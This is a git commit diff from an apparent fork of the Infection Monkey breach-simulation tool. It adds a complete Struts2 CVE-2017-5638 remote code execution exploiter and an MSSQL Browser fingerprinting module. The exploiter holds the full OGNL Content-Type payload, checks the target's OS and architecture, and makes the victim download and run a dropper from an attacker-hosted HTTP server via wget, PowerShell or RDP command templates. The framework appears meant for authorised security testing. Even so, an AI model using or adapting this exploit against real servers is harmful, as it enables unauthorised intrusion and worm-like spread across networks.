forked from p34709852/monkey
Add files dropped in merge
This commit is contained in:
parent
26337e3a7a
commit
063ecd9313
|
@ -0,0 +1,247 @@
|
||||||
|
"""
|
||||||
|
Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 )
|
||||||
|
code used is from https://www.exploit-db.com/exploits/41570/
|
||||||
|
Vulnerable struts2 versions <=2.3.31 and <=2.5.10
|
||||||
|
"""
|
||||||
|
import urllib2
|
||||||
|
import httplib
|
||||||
|
import unicodedata
|
||||||
|
import re
|
||||||
|
|
||||||
|
import logging
|
||||||
|
from infection_monkey.exploit import HostExploiter
|
||||||
|
from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth
|
||||||
|
from infection_monkey.exploit.tools import build_monkey_commandline, HTTPTools
|
||||||
|
from infection_monkey.model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, \
|
||||||
|
RDP_CMDLINE_HTTP, DROPPER_ARG
|
||||||
|
|
||||||
|
__author__ = "VakarisZ"
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
DOWNLOAD_TIMEOUT = 300
|
||||||
|
|
||||||
|
|
||||||
|
class Struts2Exploiter(HostExploiter):
|
||||||
|
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||||
|
|
||||||
|
def __init__(self, host):
|
||||||
|
super(Struts2Exploiter, self).__init__(host)
|
||||||
|
self._config = __import__('config').WormConfiguration
|
||||||
|
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||||
|
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
|
||||||
|
|
||||||
|
def exploit_host(self):
|
||||||
|
dropper_path_linux = self._config.dropper_target_path_linux
|
||||||
|
dropper_path_win_32 = self._config.dropper_target_path_win_32
|
||||||
|
dropper_path_win_64 = self._config.dropper_target_path_win_64
|
||||||
|
|
||||||
|
ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"])
|
||||||
|
|
||||||
|
if not ports:
|
||||||
|
LOG.info("All web ports are closed on %r, skipping", self.host)
|
||||||
|
return False
|
||||||
|
|
||||||
|
for port in ports:
|
||||||
|
if port[1]:
|
||||||
|
current_host = "https://%s:%s" % (self.host.ip_addr, port[0])
|
||||||
|
else:
|
||||||
|
current_host = "http://%s:%s" % (self.host.ip_addr, port[0])
|
||||||
|
# Get full URL
|
||||||
|
url = self.get_redirected(current_host)
|
||||||
|
LOG.info("Trying to exploit with struts2")
|
||||||
|
# Check if host is vulnerable and get host os architecture
|
||||||
|
if 'linux' in self.host.os['type']:
|
||||||
|
return self.exploit_linux(url, dropper_path_linux)
|
||||||
|
else:
|
||||||
|
return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64])
|
||||||
|
|
||||||
|
def check_remote_file(self, host, path):
|
||||||
|
command = EXISTS % path
|
||||||
|
resp = self.exploit(host, command)
|
||||||
|
if 'No such file' in resp:
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
||||||
|
return True
|
||||||
|
|
||||||
|
def exploit_linux(self, url, dropper_path):
|
||||||
|
host_arch = Struts2Exploiter.check_exploit_linux(url)
|
||||||
|
if host_arch:
|
||||||
|
self.host.os['machine'] = host_arch
|
||||||
|
if url and host_arch:
|
||||||
|
LOG.info("Host is exploitable with struts2 RCE vulnerability")
|
||||||
|
# If monkey already exists and option not to exploit in that case is selected
|
||||||
|
if self.skip_exist and self.check_remote_file(url, dropper_path):
|
||||||
|
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
||||||
|
return True
|
||||||
|
|
||||||
|
src_path = get_target_monkey(self.host)
|
||||||
|
if not src_path:
|
||||||
|
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||||
|
return False
|
||||||
|
# create server for http download.
|
||||||
|
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
||||||
|
if not http_path:
|
||||||
|
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
|
||||||
|
return False
|
||||||
|
LOG.info("Started http server on %s", http_path)
|
||||||
|
|
||||||
|
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)
|
||||||
|
|
||||||
|
command = WGET_HTTP % {'monkey_path': dropper_path,
|
||||||
|
'http_path': http_path, 'parameters': cmdline}
|
||||||
|
|
||||||
|
self.exploit(url, command)
|
||||||
|
|
||||||
|
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||||
|
http_thread.stop()
|
||||||
|
LOG.info("Struts2 exploit attempt finished")
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def exploit_windows(self, url, dropper_paths):
|
||||||
|
"""
|
||||||
|
:param url: Where to send malicious request
|
||||||
|
:param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat
|
||||||
|
:return: Bool. Successfully exploited or not
|
||||||
|
"""
|
||||||
|
host_arch = Struts2Exploiter.check_exploit_windows(url)
|
||||||
|
if host_arch:
|
||||||
|
self.host.os['machine'] = host_arch
|
||||||
|
if url and host_arch:
|
||||||
|
LOG.info("Host is exploitable with struts2 RCE vulnerability")
|
||||||
|
# If monkey already exists and option not to exploit in that case is selected
|
||||||
|
if self.skip_exist:
|
||||||
|
for dropper_path in dropper_paths:
|
||||||
|
if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)):
|
||||||
|
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
||||||
|
return True
|
||||||
|
|
||||||
|
src_path = get_target_monkey(self.host)
|
||||||
|
if not src_path:
|
||||||
|
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||||
|
return False
|
||||||
|
# Select the dir and name for monkey on the host
|
||||||
|
if "windows-32" in src_path:
|
||||||
|
dropper_path = dropper_paths[0]
|
||||||
|
else:
|
||||||
|
dropper_path = dropper_paths[1]
|
||||||
|
# create server for http download.
|
||||||
|
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
||||||
|
if not http_path:
|
||||||
|
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
|
||||||
|
return False
|
||||||
|
LOG.info("Started http server on %s", http_path)
|
||||||
|
|
||||||
|
# We need to double escape backslashes. Once for payload, twice for command
|
||||||
|
cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path))
|
||||||
|
|
||||||
|
command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
|
||||||
|
'http_path': http_path, 'parameters': cmdline}
|
||||||
|
|
||||||
|
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
|
||||||
|
'http_path': http_path, 'parameters': cmdline, 'type': DROPPER_ARG}
|
||||||
|
|
||||||
|
resp = self.exploit(url, command)
|
||||||
|
|
||||||
|
if 'powershell is not recognized' in resp:
|
||||||
|
self.exploit(url, backup_command)
|
||||||
|
|
||||||
|
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||||
|
http_thread.stop()
|
||||||
|
LOG.info("Struts2 exploit attempt finished")
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def check_exploit_windows(url):
|
||||||
|
resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS)
|
||||||
|
if resp and ID_STRING in resp:
|
||||||
|
if "64-bit" in resp:
|
||||||
|
return "64"
|
||||||
|
else:
|
||||||
|
return "32"
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def check_exploit_linux(url):
|
||||||
|
resp = Struts2Exploiter.exploit(url, CHECK_LINUX)
|
||||||
|
if resp and ID_STRING in resp:
|
||||||
|
# Pulls architecture string
|
||||||
|
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
|
||||||
|
arch = arch.group(1)
|
||||||
|
return arch
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_redirected(url):
|
||||||
|
# Returns false if url is not right
|
||||||
|
headers = {'User-Agent': 'Mozilla/5.0'}
|
||||||
|
request = urllib2.Request(url, headers=headers)
|
||||||
|
try:
|
||||||
|
return urllib2.urlopen(request).geturl()
|
||||||
|
except urllib2.URLError:
|
||||||
|
LOG.error("Can't reach struts2 server")
|
||||||
|
return False
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def exploit(url, cmd):
|
||||||
|
"""
|
||||||
|
:param url: Full url to send request to
|
||||||
|
:param cmd: Code to try and execute on host
|
||||||
|
:return: response
|
||||||
|
"""
|
||||||
|
payload = "%%{(#_='multipart/form-data')." \
|
||||||
|
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
|
||||||
|
"(#_memberAccess?" \
|
||||||
|
"(#_memberAccess=#dm):" \
|
||||||
|
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \
|
||||||
|
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \
|
||||||
|
"(#ognlUtil.getExcludedPackageNames().clear())." \
|
||||||
|
"(#ognlUtil.getExcludedClasses().clear())." \
|
||||||
|
"(#context.setMemberAccess(#dm))))." \
|
||||||
|
"(#cmd='%s')." \
|
||||||
|
"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \
|
||||||
|
"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \
|
||||||
|
"(#p=new java.lang.ProcessBuilder(#cmds))." \
|
||||||
|
"(#p.redirectErrorStream(true)).(#process=#p.start())." \
|
||||||
|
"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \
|
||||||
|
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \
|
||||||
|
"(#ros.flush())}" % cmd
|
||||||
|
# Turns payload ascii just for consistency
|
||||||
|
if isinstance(payload, unicode):
|
||||||
|
payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore')
|
||||||
|
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
|
||||||
|
try:
|
||||||
|
request = urllib2.Request(url, headers=headers)
|
||||||
|
# Timeout added or else we would wait for all monkeys' output
|
||||||
|
page = urllib2.urlopen(request).read()
|
||||||
|
except AttributeError:
|
||||||
|
# If url does not exist
|
||||||
|
return False
|
||||||
|
except httplib.IncompleteRead as e:
|
||||||
|
page = e.partial
|
||||||
|
|
||||||
|
return page
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_exploitable_ports(host, port_list, names):
|
||||||
|
candidate_services = {}
|
||||||
|
for name in names:
|
||||||
|
chosen_services = {
|
||||||
|
service: host.services[service] for service in host.services if
|
||||||
|
('name' in host.services[service]) and (host.services[service]['name'] == name)
|
||||||
|
}
|
||||||
|
candidate_services.update(chosen_services)
|
||||||
|
|
||||||
|
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
|
||||||
|
'tcp-' + str(port) in candidate_services]
|
||||||
|
|
||||||
|
return valid_ports
|
|
@ -0,0 +1,74 @@
|
||||||
|
import logging
|
||||||
|
import socket
|
||||||
|
|
||||||
|
from infection_monkey.model.host import VictimHost
|
||||||
|
from infection_monkey.network import HostFinger
|
||||||
|
|
||||||
|
__author__ = 'Maor Rayzin'
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class MSSQLFinger(HostFinger):
|
||||||
|
|
||||||
|
# Class related consts
|
||||||
|
SQL_BROWSER_DEFAULT_PORT = 1434
|
||||||
|
BUFFER_SIZE = 4096
|
||||||
|
TIMEOUT = 5
|
||||||
|
SERVICE_NAME = 'MSSQL'
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self._config = __import__('config').WormConfiguration
|
||||||
|
|
||||||
|
def get_host_fingerprint(self, host):
|
||||||
|
"""Gets Microsoft SQL Server instance information by querying the SQL Browser service.
|
||||||
|
:arg:
|
||||||
|
host (VictimHost): The MS-SSQL Server to query for information.
|
||||||
|
|
||||||
|
:returns:
|
||||||
|
Discovered server information written to the Host info struct.
|
||||||
|
True if success, False otherwise.
|
||||||
|
"""
|
||||||
|
|
||||||
|
assert isinstance(host, VictimHost)
|
||||||
|
|
||||||
|
# Create a UDP socket and sets a timeout
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
sock.settimeout(self.TIMEOUT)
|
||||||
|
server_address = (str(host.ip_addr), self.SQL_BROWSER_DEFAULT_PORT)
|
||||||
|
|
||||||
|
# The message is a CLNT_UCAST_EX packet to get all instances
|
||||||
|
# https://msdn.microsoft.com/en-us/library/cc219745.aspx
|
||||||
|
message = '\x03'
|
||||||
|
|
||||||
|
# Encode the message as a bytesarray
|
||||||
|
message = message.encode()
|
||||||
|
|
||||||
|
# send data and receive response
|
||||||
|
try:
|
||||||
|
LOG.info('Sending message to requested host: {0}, {1}'.format(host, message))
|
||||||
|
sock.sendto(message, server_address)
|
||||||
|
data, server = sock.recvfrom(self.BUFFER_SIZE)
|
||||||
|
except socket.timeout:
|
||||||
|
LOG.info('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host))
|
||||||
|
sock.close()
|
||||||
|
return False
|
||||||
|
|
||||||
|
host.services[self.SERVICE_NAME] = {}
|
||||||
|
|
||||||
|
# Loop through the server data
|
||||||
|
instances_list = data[3:].decode().split(';;')
|
||||||
|
LOG.info('{0} MSSQL instances found'.format(len(instances_list)))
|
||||||
|
for instance in instances_list:
|
||||||
|
instance_info = instance.split(';')
|
||||||
|
if len(instance_info) > 1:
|
||||||
|
host.services[self.SERVICE_NAME][instance_info[1]] = {}
|
||||||
|
for i in range(1, len(instance_info), 2):
|
||||||
|
# Each instance's info is nested under its own name, if there are multiple instances
|
||||||
|
# each will appear under its own name
|
||||||
|
host.services[self.SERVICE_NAME][instance_info[1]][instance_info[i - 1]] = instance_info[i]
|
||||||
|
|
||||||
|
# Close the socket
|
||||||
|
sock.close()
|
||||||
|
|
||||||
|
return True
|
Loading…
Reference in New Issue